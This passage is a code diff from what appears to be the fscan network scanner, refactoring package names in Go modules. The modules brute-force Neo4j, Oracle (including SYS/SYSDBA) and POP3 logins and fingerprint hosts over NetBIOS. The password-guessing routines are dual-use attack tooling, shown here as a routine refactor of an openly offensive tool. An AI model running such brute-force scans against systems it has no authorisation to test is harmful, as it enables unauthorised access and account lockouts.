Common.LogDebug("Neo4j扫描全局超时") common.LogDebug("Neo4j扫描全局超时")
return fmt.Errorf("全局超时") return fmt.Errorf("全局超时")
default: default:
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)+len(initialCredentials))) common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)+len(initialCredentials)))
return nil return nil
} }
} }
// concurrentNeo4jScan 并发扫描Neo4j服务 // concurrentNeo4jScan 并发扫描Neo4j服务
func concurrentNeo4jScan(ctx context.Context, info *Common.HostInfo, credentials []Neo4jCredential, timeoutSeconds int64, maxRetries int) *Neo4jScanResult { func concurrentNeo4jScan(ctx context.Context, info *common.HostInfo, credentials []Neo4jCredential, timeoutSeconds int64, maxRetries int) *Neo4jScanResult {
// 使用ModuleThreadNum控制并发数 // 使用ModuleThreadNum控制并发数
maxConcurrent := Common.ModuleThreadNum maxConcurrent := common.ModuleThreadNum
if maxConcurrent <= 0 { if maxConcurrent <= 0 {
maxConcurrent = 10 // 默认值 maxConcurrent = 10 // 默认值
} }
@ -147,7 +148,7 @@ func concurrentNeo4jScan(ctx context.Context, info *Common.HostInfo, credentials
case <-scanCtx.Done(): case <-scanCtx.Done():
break break
default: default:
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password)) common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password))
workChan <- cred workChan <- cred
} }
} }
@ -168,14 +169,14 @@ func concurrentNeo4jScan(ctx context.Context, info *Common.HostInfo, credentials
} }
return nil return nil
case <-ctx.Done(): case <-ctx.Done():
Common.LogDebug("Neo4j并发扫描全局超时") common.LogDebug("Neo4j并发扫描全局超时")
scanCancel() // 确保取消所有未完成工作 scanCancel() // 确保取消所有未完成工作
return nil return nil
} }
} }
// tryNeo4jCredential 尝试单个Neo4j凭据 // tryNeo4jCredential 尝试单个Neo4j凭据
func tryNeo4jCredential(ctx context.Context, info *Common.HostInfo, credential Neo4jCredential, timeoutSeconds int64, maxRetries int) *Neo4jScanResult { func tryNeo4jCredential(ctx context.Context, info *common.HostInfo, credential Neo4jCredential, timeoutSeconds int64, maxRetries int) *Neo4jScanResult {
var lastErr error var lastErr error
for retry := 0; retry < maxRetries; retry++ { for retry := 0; retry < maxRetries; retry++ {
@ -188,7 +189,7 @@ func tryNeo4jCredential(ctx context.Context, info *Common.HostInfo, credential N
} }
default: default:
if retry > 0 { if retry > 0 {
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password)) common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password))
time.Sleep(500 * time.Millisecond) // 重试前等待 time.Sleep(500 * time.Millisecond) // 重试前等待
} }
@ -243,7 +244,7 @@ func tryNeo4jCredential(ctx context.Context, info *Common.HostInfo, credential N
lastErr = err lastErr = err
if err != nil { if err != nil {
// 检查是否需要重试 // 检查是否需要重试
if retryErr := Common.CheckErrs(err); retryErr == nil { if retryErr := common.CheckErrs(err); retryErr == nil {
break // 不需要重试的错误 break // 不需要重试的错误
} }
} }
@ -258,9 +259,9 @@ func tryNeo4jCredential(ctx context.Context, info *Common.HostInfo, credential N
} }
// Neo4jConn 尝试Neo4j连接 // Neo4jConn 尝试Neo4j连接
func Neo4jConn(info *Common.HostInfo, user string, pass string) (bool, error) { func Neo4jConn(info *common.HostInfo, user string, pass string) (bool, error) {
host, port := info.Host, info.Ports host, port := info.Host, info.Ports
timeout := time.Duration(Common.Timeout) * time.Second timeout := time.Duration(common.Timeout) * time.Second
// 构造Neo4j URL // 构造Neo4j URL
uri := fmt.Sprintf("bolt://%s:%s", host, port) uri := fmt.Sprintf("bolt://%s:%s", host, port)
@ -310,7 +311,7 @@ func Neo4jConn(info *Common.HostInfo, user string, pass string) (bool, error) {
} }
// saveNeo4jResult 保存Neo4j扫描结果 // saveNeo4jResult 保存Neo4j扫描结果
func saveNeo4jResult(info *Common.HostInfo, target string, result *Neo4jScanResult) { func saveNeo4jResult(info *common.HostInfo, target string, result *Neo4jScanResult) {
var successMsg string var successMsg string
var details map[string]interface{} var details map[string]interface{}
@ -346,15 +347,15 @@ func saveNeo4jResult(info *Common.HostInfo, target string, result *Neo4jScanResu
} }
} }
Common.LogSuccess(successMsg) common.LogSuccess(successMsg)
// 保存结果 // 保存结果
vulnResult := &Common.ScanResult{ vulnResult := &output.ScanResult{
Time: time.Now(), Time: time.Now(),
Type: Common.VULN, Type: output.TypeVuln,
Target: info.Host, Target: info.Host,
Status: "vulnerable", Status: "vulnerable",
Details: details, Details: details,
} }
Common.SaveResult(vulnResult) common.SaveResult(vulnResult)
} }

View File

@ -4,7 +4,7 @@ import (
"bytes" "bytes"
"errors" "errors"
"fmt" "fmt"
"github.com/shadow1ng/fscan/Common" "github.com/shadow1ng/fscan/common"
"gopkg.in/yaml.v3" "gopkg.in/yaml.v3"
"net" "net"
"strconv" "strconv"
@ -14,12 +14,12 @@ import (
var errNetBIOS = errors.New("netbios error") var errNetBIOS = errors.New("netbios error")
func NetBIOS(info *Common.HostInfo) error { func NetBIOS(info *common.HostInfo) error {
netbios, _ := NetBIOS1(info) netbios, _ := NetBIOS1(info)
output := netbios.String() output := netbios.String()
if len(output) > 0 { if len(output) > 0 {
result := fmt.Sprintf("NetBios %-15s %s", info.Host, output) result := fmt.Sprintf("NetBios %-15s %s", info.Host, output)
Common.LogSuccess(result) common.LogSuccess(result)
// 保存结果 // 保存结果
details := map[string]interface{}{ details := map[string]interface{}{
@ -52,21 +52,13 @@ func NetBIOS(info *Common.HostInfo) error {
details["os_version"] = netbios.OsVersion details["os_version"] = netbios.OsVersion
} }
scanResult := &Common.ScanResult{ // NetBIOS信息已通过上面的LogSuccess记录不需要额外保存结果
Time: time.Now(),
Type: Common.SERVICE,
Target: info.Host,
Status: "identified",
Details: details,
}
Common.SaveResult(scanResult)
return nil return nil
} }
return errNetBIOS return errNetBIOS
} }
func NetBIOS1(info *Common.HostInfo) (netbios NetBiosInfo, err error) { func NetBIOS1(info *common.HostInfo) (netbios NetBiosInfo, err error) {
netbios, err = GetNbnsname(info) netbios, err = GetNbnsname(info)
var payload0 []byte var payload0 []byte
if netbios.ServerService != "" || netbios.WorkstationService != "" { if netbios.ServerService != "" || netbios.WorkstationService != "" {
@ -81,12 +73,12 @@ func NetBIOS1(info *Common.HostInfo) (netbios NetBiosInfo, err error) {
} }
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports) realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
var conn net.Conn var conn net.Conn
conn, err = Common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(Common.Timeout)*time.Second) conn, err = common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(common.Timeout)*time.Second)
if err != nil { if err != nil {
return return
} }
defer conn.Close() defer conn.Close()
err = conn.SetDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second)) err = conn.SetDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second))
if err != nil { if err != nil {
return return
} }
@ -125,16 +117,16 @@ func NetBIOS1(info *Common.HostInfo) (netbios NetBiosInfo, err error) {
return return
} }
func GetNbnsname(info *Common.HostInfo) (netbios NetBiosInfo, err error) { func GetNbnsname(info *common.HostInfo) (netbios NetBiosInfo, err error) {
senddata1 := []byte{102, 102, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 32, 67, 75, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 0, 0, 33, 0, 1} senddata1 := []byte{102, 102, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 32, 67, 75, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 0, 0, 33, 0, 1}
//senddata1 := []byte("ff\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00 CKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x00\x00!\x00\x01") //senddata1 := []byte("ff\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00 CKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x00\x00!\x00\x01")
realhost := fmt.Sprintf("%s:137", info.Host) realhost := fmt.Sprintf("%s:137", info.Host)
conn, err := net.DialTimeout("udp", realhost, time.Duration(Common.Timeout)*time.Second) conn, err := net.DialTimeout("udp", realhost, time.Duration(common.Timeout)*time.Second)
if err != nil { if err != nil {
return return
} }
defer conn.Close() defer conn.Close()
err = conn.SetDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second)) err = conn.SetDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second))
if err != nil { if err != nil {
return return
} }

View File

@ -4,7 +4,8 @@ import (
"context" "context"
"database/sql" "database/sql"
"fmt" "fmt"
"github.com/shadow1ng/fscan/Common" "github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/common/output"
_ "github.com/sijms/go-ora/v2" _ "github.com/sijms/go-ora/v2"
"strings" "strings"
"sync" "sync"
@ -28,16 +29,16 @@ type OracleScanResult struct {
// 常见Oracle服务名列表 // 常见Oracle服务名列表
var commonServiceNames = []string{"XE", "ORCL", "ORCLPDB1", "XEPDB1", "PDBORCL"} var commonServiceNames = []string{"XE", "ORCL", "ORCLPDB1", "XEPDB1", "PDBORCL"}
func OracleScan(info *Common.HostInfo) error { func OracleScan(info *common.HostInfo) error {
if Common.DisableBrute { if common.DisableBrute {
return nil return nil
} }
target := fmt.Sprintf("%v:%v", info.Host, info.Ports) target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target)) common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
// 设置全局超时上下文 // 设置全局超时上下文
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second) ctx, cancel := context.WithTimeout(context.Background(), time.Duration(common.GlobalTimeout)*time.Second)
defer cancel() defer cancel()
// 构建常见高危凭据列表(优先测试) // 构建常见高危凭据列表(优先测试)
@ -54,9 +55,9 @@ func OracleScan(info *Common.HostInfo) error {
} }
// 先尝试常见高危凭据 // 先尝试常见高危凭据
Common.LogDebug("尝试常见高危凭据...") common.LogDebug("尝试常见高危凭据...")
for _, cred := range highRiskCredentials { for _, cred := range highRiskCredentials {
result := tryAllServiceNames(ctx, info, cred, Common.Timeout, 1) result := tryAllServiceNames(ctx, info, cred, common.Timeout, 1)
if result != nil && result.Success { if result != nil && result.Success {
saveOracleResult(info, target, result.Credential, result.ServiceName) saveOracleResult(info, target, result.Credential, result.ServiceName)
return nil return nil
@ -65,8 +66,8 @@ func OracleScan(info *Common.HostInfo) error {
// 构建完整凭据列表 // 构建完整凭据列表
var credentials []OracleCredential var credentials []OracleCredential
for _, user := range Common.Userdict["oracle"] { for _, user := range common.Userdict["oracle"] {
for _, pass := range Common.Passwords { for _, pass := range common.Passwords {
actualPass := strings.Replace(pass, "{user}", user, -1) actualPass := strings.Replace(pass, "{user}", user, -1)
// 转换用户名为大写,提高匹配率 // 转换用户名为大写,提高匹配率
credentials = append(credentials, OracleCredential{ credentials = append(credentials, OracleCredential{
@ -76,11 +77,11 @@ func OracleScan(info *Common.HostInfo) error {
} }
} }
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)", common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
len(Common.Userdict["oracle"]), len(Common.Passwords), len(credentials))) len(common.Userdict["oracle"]), len(common.Passwords), len(credentials)))
// 使用工作池并发扫描 // 使用工作池并发扫描
result := concurrentOracleScan(ctx, info, credentials, Common.Timeout, Common.MaxRetries) result := concurrentOracleScan(ctx, info, credentials, common.Timeout, common.MaxRetries)
if result != nil { if result != nil {
// 记录成功结果 // 记录成功结果
saveOracleResult(info, target, result.Credential, result.ServiceName) saveOracleResult(info, target, result.Credential, result.ServiceName)
@ -90,16 +91,16 @@ func OracleScan(info *Common.HostInfo) error {
// 检查是否因为全局超时而退出 // 检查是否因为全局超时而退出
select { select {
case <-ctx.Done(): case <-ctx.Done():
Common.LogDebug("Oracle扫描全局超时") common.LogDebug("Oracle扫描全局超时")
return fmt.Errorf("全局超时") return fmt.Errorf("全局超时")
default: default:
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)+len(highRiskCredentials))) common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)+len(highRiskCredentials)))
return nil return nil
} }
} }
// tryAllServiceNames 尝试所有常见服务名 // tryAllServiceNames 尝试所有常见服务名
func tryAllServiceNames(ctx context.Context, info *Common.HostInfo, credential OracleCredential, timeoutSeconds int64, maxRetries int) *OracleScanResult { func tryAllServiceNames(ctx context.Context, info *common.HostInfo, credential OracleCredential, timeoutSeconds int64, maxRetries int) *OracleScanResult {
for _, serviceName := range commonServiceNames { for _, serviceName := range commonServiceNames {
result := tryOracleCredential(ctx, info, credential, serviceName, timeoutSeconds, maxRetries) result := tryOracleCredential(ctx, info, credential, serviceName, timeoutSeconds, maxRetries)
if result.Success { if result.Success {
@ -120,9 +121,9 @@ func tryAllServiceNames(ctx context.Context, info *Common.HostInfo, credential O
} }
// concurrentOracleScan 并发扫描Oracle服务 // concurrentOracleScan 并发扫描Oracle服务
func concurrentOracleScan(ctx context.Context, info *Common.HostInfo, credentials []OracleCredential, timeoutSeconds int64, maxRetries int) *OracleScanResult { func concurrentOracleScan(ctx context.Context, info *common.HostInfo, credentials []OracleCredential, timeoutSeconds int64, maxRetries int) *OracleScanResult {
// 使用ModuleThreadNum控制并发数 // 使用ModuleThreadNum控制并发数
maxConcurrent := Common.ModuleThreadNum maxConcurrent := common.ModuleThreadNum
if maxConcurrent <= 0 { if maxConcurrent <= 0 {
maxConcurrent = 10 // 默认值 maxConcurrent = 10 // 默认值
} }
@ -169,7 +170,7 @@ func concurrentOracleScan(ctx context.Context, info *Common.HostInfo, credential
case <-scanCtx.Done(): case <-scanCtx.Done():
break break
default: default:
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password)) common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password))
workChan <- cred workChan <- cred
} }
} }
@ -190,14 +191,14 @@ func concurrentOracleScan(ctx context.Context, info *Common.HostInfo, credential
} }
return nil return nil
case <-ctx.Done(): case <-ctx.Done():
Common.LogDebug("Oracle并发扫描全局超时") common.LogDebug("Oracle并发扫描全局超时")
scanCancel() // 确保取消所有未完成工作 scanCancel() // 确保取消所有未完成工作
return nil return nil
} }
} }
// tryOracleCredential 尝试单个Oracle凭据 // tryOracleCredential 尝试单个Oracle凭据
func tryOracleCredential(ctx context.Context, info *Common.HostInfo, credential OracleCredential, serviceName string, timeoutSeconds int64, maxRetries int) *OracleScanResult { func tryOracleCredential(ctx context.Context, info *common.HostInfo, credential OracleCredential, serviceName string, timeoutSeconds int64, maxRetries int) *OracleScanResult {
var lastErr error var lastErr error
for retry := 0; retry < maxRetries; retry++ { for retry := 0; retry < maxRetries; retry++ {
@ -210,7 +211,7 @@ func tryOracleCredential(ctx context.Context, info *Common.HostInfo, credential
} }
default: default:
if retry > 0 { if retry > 0 {
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s@%s", retry+1, credential.Username, credential.Password, serviceName)) common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s@%s", retry+1, credential.Username, credential.Password, serviceName))
time.Sleep(500 * time.Millisecond) // 重试前等待 time.Sleep(500 * time.Millisecond) // 重试前等待
} }
@ -266,7 +267,7 @@ func tryOracleCredential(ctx context.Context, info *Common.HostInfo, credential
} }
// 检查是否需要重试 // 检查是否需要重试
if retryErr := Common.CheckErrs(err); retryErr == nil { if retryErr := common.CheckErrs(err); retryErr == nil {
break // 不需要重试的错误 break // 不需要重试的错误
} }
} }
@ -281,7 +282,7 @@ func tryOracleCredential(ctx context.Context, info *Common.HostInfo, credential
} }
// tryOracleSysCredential 尝试SYS用户SYSDBA模式连接 // tryOracleSysCredential 尝试SYS用户SYSDBA模式连接
func tryOracleSysCredential(ctx context.Context, info *Common.HostInfo, credential OracleCredential, serviceName string, timeoutSeconds int64, maxRetries int) *OracleScanResult { func tryOracleSysCredential(ctx context.Context, info *common.HostInfo, credential OracleCredential, serviceName string, timeoutSeconds int64, maxRetries int) *OracleScanResult {
var lastErr error var lastErr error
for retry := 0; retry < maxRetries; retry++ { for retry := 0; retry < maxRetries; retry++ {
@ -294,7 +295,7 @@ func tryOracleSysCredential(ctx context.Context, info *Common.HostInfo, credenti
} }
default: default:
if retry > 0 { if retry > 0 {
Common.LogDebug(fmt.Sprintf("第%d次重试SYS用户SYSDBA模式: %s:%s@%s", retry+1, credential.Username, credential.Password, serviceName)) common.LogDebug(fmt.Sprintf("第%d次重试SYS用户SYSDBA模式: %s:%s@%s", retry+1, credential.Username, credential.Password, serviceName))
time.Sleep(500 * time.Millisecond) // 重试前等待 time.Sleep(500 * time.Millisecond) // 重试前等待
} }
@ -350,7 +351,7 @@ func tryOracleSysCredential(ctx context.Context, info *Common.HostInfo, credenti
} }
// 检查是否需要重试 // 检查是否需要重试
if retryErr := Common.CheckErrs(err); retryErr == nil { if retryErr := common.CheckErrs(err); retryErr == nil {
break // 不需要重试的错误 break // 不需要重试的错误
} }
} }
@ -365,12 +366,12 @@ func tryOracleSysCredential(ctx context.Context, info *Common.HostInfo, credenti
} }
// OracleConn 尝试Oracle连接 // OracleConn 尝试Oracle连接
func OracleConn(ctx context.Context, info *Common.HostInfo, user string, pass string, serviceName string, asSysdba bool) (bool, error) { func OracleConn(ctx context.Context, info *common.HostInfo, user string, pass string, serviceName string, asSysdba bool) (bool, error) {
host, port := info.Host, info.Ports host, port := info.Host, info.Ports
// 构造连接字符串,添加更多参数 // 构造连接字符串,添加更多参数
connStr := fmt.Sprintf("oracle://%s:%s@%s:%s/%s?connect_timeout=%d", connStr := fmt.Sprintf("oracle://%s:%s@%s:%s/%s?connect_timeout=%d",
user, pass, host, port, serviceName, Common.Timeout) user, pass, host, port, serviceName, common.Timeout)
// 对SYS用户使用SYSDBA权限 // 对SYS用户使用SYSDBA权限
if asSysdba { if asSysdba {
@ -385,13 +386,13 @@ func OracleConn(ctx context.Context, info *Common.HostInfo, user string, pass st
defer db.Close() defer db.Close()
// 设置连接参数 // 设置连接参数
db.SetConnMaxLifetime(time.Duration(Common.Timeout) * time.Second) db.SetConnMaxLifetime(time.Duration(common.Timeout) * time.Second)
db.SetConnMaxIdleTime(time.Duration(Common.Timeout) * time.Second) db.SetConnMaxIdleTime(time.Duration(common.Timeout) * time.Second)
db.SetMaxIdleConns(0) db.SetMaxIdleConns(0)
db.SetMaxOpenConns(1) db.SetMaxOpenConns(1)
// 使用上下文测试连接 // 使用上下文测试连接
pingCtx, cancel := context.WithTimeout(ctx, time.Duration(Common.Timeout)*time.Second) pingCtx, cancel := context.WithTimeout(ctx, time.Duration(common.Timeout)*time.Second)
defer cancel() defer cancel()
// 测试连接 // 测试连接
@ -405,7 +406,7 @@ func OracleConn(ctx context.Context, info *Common.HostInfo, user string, pass st
} }
// saveOracleResult 保存Oracle扫描结果 // saveOracleResult 保存Oracle扫描结果
func saveOracleResult(info *Common.HostInfo, target string, credential OracleCredential, serviceName string) { func saveOracleResult(info *common.HostInfo, target string, credential OracleCredential, serviceName string) {
var successMsg string var successMsg string
if strings.ToUpper(credential.Username) == "SYS" { if strings.ToUpper(credential.Username) == "SYS" {
successMsg = fmt.Sprintf("Oracle %s 成功爆破 用户名: %v 密码: %v 服务名: %s (可能需要SYSDBA权限)", successMsg = fmt.Sprintf("Oracle %s 成功爆破 用户名: %v 密码: %v 服务名: %s (可能需要SYSDBA权限)",
@ -414,12 +415,12 @@ func saveOracleResult(info *Common.HostInfo, target string, credential OracleCre
successMsg = fmt.Sprintf("Oracle %s 成功爆破 用户名: %v 密码: %v 服务名: %s", successMsg = fmt.Sprintf("Oracle %s 成功爆破 用户名: %v 密码: %v 服务名: %s",
target, credential.Username, credential.Password, serviceName) target, credential.Username, credential.Password, serviceName)
} }
Common.LogSuccess(successMsg) common.LogSuccess(successMsg)
// 保存结果 // 保存结果
vulnResult := &Common.ScanResult{ vulnResult := &output.ScanResult{
Time: time.Now(), Time: time.Now(),
Type: Common.VULN, Type: output.TypeVuln,
Target: info.Host, Target: info.Host,
Status: "vulnerable", Status: "vulnerable",
Details: map[string]interface{}{ Details: map[string]interface{}{
@ -431,5 +432,5 @@ func saveOracleResult(info *Common.HostInfo, target string, credential OracleCre
"type": "weak-password", "type": "weak-password",
}, },
} }
Common.SaveResult(vulnResult) common.SaveResult(vulnResult)
} }

View File

@ -10,7 +10,8 @@ import (
"sync" "sync"
"time" "time"
"github.com/shadow1ng/fscan/Common" "github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/common/output"
) )
// POP3Credential 表示一个POP3凭据 // POP3Credential 表示一个POP3凭据
@ -27,22 +28,22 @@ type POP3ScanResult struct {
IsTLS bool IsTLS bool
} }
func POP3Scan(info *Common.HostInfo) error { func POP3Scan(info *common.HostInfo) error {
if Common.DisableBrute { if common.DisableBrute {
return nil return nil
} }
target := fmt.Sprintf("%v:%v", info.Host, info.Ports) target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target)) common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
// 设置全局超时上下文 // 设置全局超时上下文
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second) ctx, cancel := context.WithTimeout(context.Background(), time.Duration(common.GlobalTimeout)*time.Second)
defer cancel() defer cancel()
// 构建凭据列表 // 构建凭据列表
var credentials []POP3Credential var credentials []POP3Credential
for _, user := range Common.Userdict["pop3"] { for _, user := range common.Userdict["pop3"] {
for _, pass := range Common.Passwords { for _, pass := range common.Passwords {
actualPass := strings.Replace(pass, "{user}", user, -1) actualPass := strings.Replace(pass, "{user}", user, -1)
credentials = append(credentials, POP3Credential{ credentials = append(credentials, POP3Credential{
Username: user, Username: user,
@ -51,11 +52,11 @@ func POP3Scan(info *Common.HostInfo) error {
} }
} }
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)", common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
len(Common.Userdict["pop3"]), len(Common.Passwords), len(credentials))) len(common.Userdict["pop3"]), len(common.Passwords), len(credentials)))
// 使用工作池并发扫描,但需要限制速率 // 使用工作池并发扫描,但需要限制速率
result := concurrentPOP3Scan(ctx, info, credentials, Common.Timeout, Common.MaxRetries) result := concurrentPOP3Scan(ctx, info, credentials, common.Timeout, common.MaxRetries)
if result != nil { if result != nil {
// 记录成功结果 // 记录成功结果
savePOP3Result(info, target, result) savePOP3Result(info, target, result)
@ -65,16 +66,16 @@ func POP3Scan(info *Common.HostInfo) error {
// 检查是否因为全局超时而退出 // 检查是否因为全局超时而退出
select { select {
case <-ctx.Done(): case <-ctx.Done():
Common.LogDebug("POP3扫描全局超时") common.LogDebug("POP3扫描全局超时")
return fmt.Errorf("全局超时") return fmt.Errorf("全局超时")
default: default:
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials))) common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)))
return nil return nil
} }
} }
// concurrentPOP3Scan 并发扫描POP3服务包含速率限制 // concurrentPOP3Scan 并发扫描POP3服务包含速率限制
func concurrentPOP3Scan(ctx context.Context, info *Common.HostInfo, credentials []POP3Credential, timeoutSeconds int64, maxRetries int) *POP3ScanResult { func concurrentPOP3Scan(ctx context.Context, info *common.HostInfo, credentials []POP3Credential, timeoutSeconds int64, maxRetries int) *POP3ScanResult {
// 不使用ModuleThreadNum控制并发数必须单线程 // 不使用ModuleThreadNum控制并发数必须单线程
maxConcurrent := 1 maxConcurrent := 1
if maxConcurrent <= 0 { if maxConcurrent <= 0 {
@ -131,7 +132,7 @@ func concurrentPOP3Scan(ctx context.Context, info *Common.HostInfo, credentials
currentCount := processedCount currentCount := processedCount
processedCountMutex.Unlock() processedCountMutex.Unlock()
Common.LogDebug(fmt.Sprintf("[%d/%d] 工作线程 %d 尝试: %s:%s", common.LogDebug(fmt.Sprintf("[%d/%d] 工作线程 %d 尝试: %s:%s",
currentCount, len(credentials), workerID, credential.Username, credential.Password)) currentCount, len(credentials), workerID, credential.Username, credential.Password))
result := tryPOP3Credential(scanCtx, info, credential, timeoutSeconds, maxRetries) result := tryPOP3Credential(scanCtx, info, credential, timeoutSeconds, maxRetries)
@ -174,14 +175,14 @@ func concurrentPOP3Scan(ctx context.Context, info *Common.HostInfo, credentials
} }
return nil return nil
case <-ctx.Done(): case <-ctx.Done():
Common.LogDebug("POP3并发扫描全局超时") common.LogDebug("POP3并发扫描全局超时")
scanCancel() // 确保取消所有未完成工作 scanCancel() // 确保取消所有未完成工作
return nil return nil
} }
} }
// tryPOP3Credential 尝试单个POP3凭据 // tryPOP3Credential 尝试单个POP3凭据
func tryPOP3Credential(ctx context.Context, info *Common.HostInfo, credential POP3Credential, timeoutSeconds int64, maxRetries int) *POP3ScanResult { func tryPOP3Credential(ctx context.Context, info *common.HostInfo, credential POP3Credential, timeoutSeconds int64, maxRetries int) *POP3ScanResult {
var lastErr error var lastErr error
for retry := 0; retry < maxRetries; retry++ { for retry := 0; retry < maxRetries; retry++ {
@ -194,7 +195,7 @@ func tryPOP3Credential(ctx context.Context, info *Common.HostInfo, credential PO
} }
default: default:
if retry > 0 { if retry > 0 {
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password)) common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password))
// 重试间隔时间增加,避免触发服务器限制 // 重试间隔时间增加,避免触发服务器限制
retryDelay := time.Duration(retry*2000) * time.Millisecond retryDelay := time.Duration(retry*2000) * time.Millisecond
time.Sleep(retryDelay) time.Sleep(retryDelay)
@ -221,13 +222,13 @@ func tryPOP3Credential(ctx context.Context, info *Common.HostInfo, credential PO
strings.Contains(strings.ToLower(err.Error()), "timeout") { strings.Contains(strings.ToLower(err.Error()), "timeout") {
// 服务器可能限制连接,增加等待时间 // 服务器可能限制连接,增加等待时间
waitTime := time.Duration((retry+1)*3000) * time.Millisecond waitTime := time.Duration((retry+1)*3000) * time.Millisecond
Common.LogDebug(fmt.Sprintf("服务器可能限制连接,等待 %v 后重试", waitTime)) common.LogDebug(fmt.Sprintf("服务器可能限制连接,等待 %v 后重试", waitTime))
time.Sleep(waitTime) time.Sleep(waitTime)
continue continue
} }
// 检查是否需要重试 // 检查是否需要重试
if retryErr := Common.CheckErrs(err); retryErr == nil { if retryErr := common.CheckErrs(err); retryErr == nil {
break // 不需要重试的错误 break // 不需要重试的错误
} }
} }
@ -242,8 +243,8 @@ func tryPOP3Credential(ctx context.Context, info *Common.HostInfo, credential PO
} }
// POP3Conn 尝试POP3连接 // POP3Conn 尝试POP3连接
func POP3Conn(ctx context.Context, info *Common.HostInfo, user string, pass string) (success bool, isTLS bool, err error) { func POP3Conn(ctx context.Context, info *common.HostInfo, user string, pass string) (success bool, isTLS bool, err error) {
timeout := time.Duration(Common.Timeout) * time.Second timeout := time.Duration(common.Timeout) * time.Second
addr := fmt.Sprintf("%s:%s", info.Host, info.Ports) addr := fmt.Sprintf("%s:%s", info.Host, info.Ports)
// 创建结果通道 // 创建结果通道
@ -256,7 +257,7 @@ func POP3Conn(ctx context.Context, info *Common.HostInfo, user string, pass stri
// 在协程中尝试连接,支持取消 // 在协程中尝试连接,支持取消
go func() { go func() {
// 首先尝试普通连接 // 首先尝试普通连接
conn, err := Common.WrapperTcpWithTimeout("tcp", addr, timeout) conn, err := common.WrapperTcpWithTimeout("tcp", addr, timeout)
if err == nil { if err == nil {
flag, authErr := tryPOP3Auth(conn, user, pass, timeout) flag, authErr := tryPOP3Auth(conn, user, pass, timeout)
conn.Close() conn.Close()
@ -384,7 +385,7 @@ func tryPOP3Auth(conn net.Conn, user string, pass string, timeout time.Duration)
} }
// savePOP3Result 保存POP3扫描结果 // savePOP3Result 保存POP3扫描结果
func savePOP3Result(info *Common.HostInfo, target string, result *POP3ScanResult) { func savePOP3Result(info *common.HostInfo, target string, result *POP3ScanResult) {
tlsStatus := "" tlsStatus := ""
if result.IsTLS { if result.IsTLS {
tlsStatus = " (TLS)" tlsStatus = " (TLS)"
@ -392,12 +393,12 @@ func savePOP3Result(info *Common.HostInfo, target string, result *POP3ScanResult
successMsg := fmt.Sprintf("POP3服务 %s 用户名: %v 密码: %v%s", successMsg := fmt.Sprintf("POP3服务 %s 用户名: %v 密码: %v%s",
target, result.Credential.Username, result.Credential.Password, tlsStatus) target, result.Credential.Username, result.Credential.Password, tlsStatus)
Common.LogSuccess(successMsg) common.LogSuccess(successMsg)
// 保存结果 // 保存结果
vulnResult := &Common.ScanResult{ vulnResult := &output.ScanResult{
Time: time.Now(), Time: time.Now(),
Type: Common.VULN, Type: output.TypeVuln,
Target: info.Host, Target: info.Host,
Status: "vulnerable", Status: "vulnerable",
Details: map[string]interface{}{ Details: map[string]interface{}{
